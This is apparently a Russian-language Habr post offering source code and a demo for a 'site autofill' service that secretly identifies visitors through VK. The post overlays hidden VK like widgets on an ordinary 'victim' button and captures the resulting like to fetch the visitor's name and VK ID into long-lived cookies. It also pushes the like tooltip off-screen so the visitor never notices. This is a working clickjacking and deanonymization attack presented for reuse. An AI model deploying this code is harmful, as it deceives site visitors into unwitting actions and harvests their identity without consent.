Автозаполнение полей на сайте (используя VK API)

image

Когда то давно, хотели сделать сервис, который позволял бы узнать посетителя сайта и дать возможность заполнить поля на сайте за посетителя, но проект заморозился и уже умер.
Решил выложить исходники, может кому будет это полезно.

И так суть скрипта. Поверх любой кнопки накладывается скрипт лайка от сайта VK.com.

Проверка авторизован ли пользователь на сайте VK.com:

    VK.Auth.getLoginStatus(function (response) {
        if (response.status === 'unknown')
            $('.button_style').hide(); // если не авторизован, то скрываем виджеты лайка
    });

Накладываем на кнопку-жертву по всей площади виджеты лайка и скрываем их:
image
image

Все наша кнопка готова, теперь по клику на неё будет ставиться лайк, теперь нам нужно отловить это событие и сохранить в куки, чтобы в следующий раз брать из куков.

VK.Observer.subscribe("widgets.like.liked", function () {
        $.ajax({
            url: 'https://api.vk.com/method/likes.getList?' +
            'type=sitepage' +
            '&page_url=' + window.location +
            '&extended=1' +
            '&owner_id=' + LIKE_ID,
            dataType: "jsonp",
            success: function (data) {
                if (data.response) {
                    var user = data.response.items[0];
                    var options = {expires: 1000000};
                    $scope.cookies_user = user;
                    $scope.setCookie('first_name', user.first_name, options);
                    $scope.setCookie('last_name', user.last_name, options);
                    $scope.setCookie('uid', user.uid, options);
                    $scope.name = user.first_name + " " + user.last_name;
                    $scope.modalOpen();
                    $scope.$digest();
                }
            }
        });
    });

Еще один момент, который заставил помучатся, это появление пользователей которые лайкнули.
8728b306a8454d6e98723a134b032a54.png
Обход, вынести за облость экрана:

#vkwidget1_tt,
#vkwidget2_tt,
#vkwidget3_tt,
#vkwidget4_tt {
    margin-left: -2500px;
}

Исходники: github.com/romkagolovadvayha/romkagolovadvayha.github.io/tree/master/socialhunt.su
Демо: romkagolovadvayha.github.io/socialhunt.su/index.html (нажать на кнопку)

© Habrahabr.ru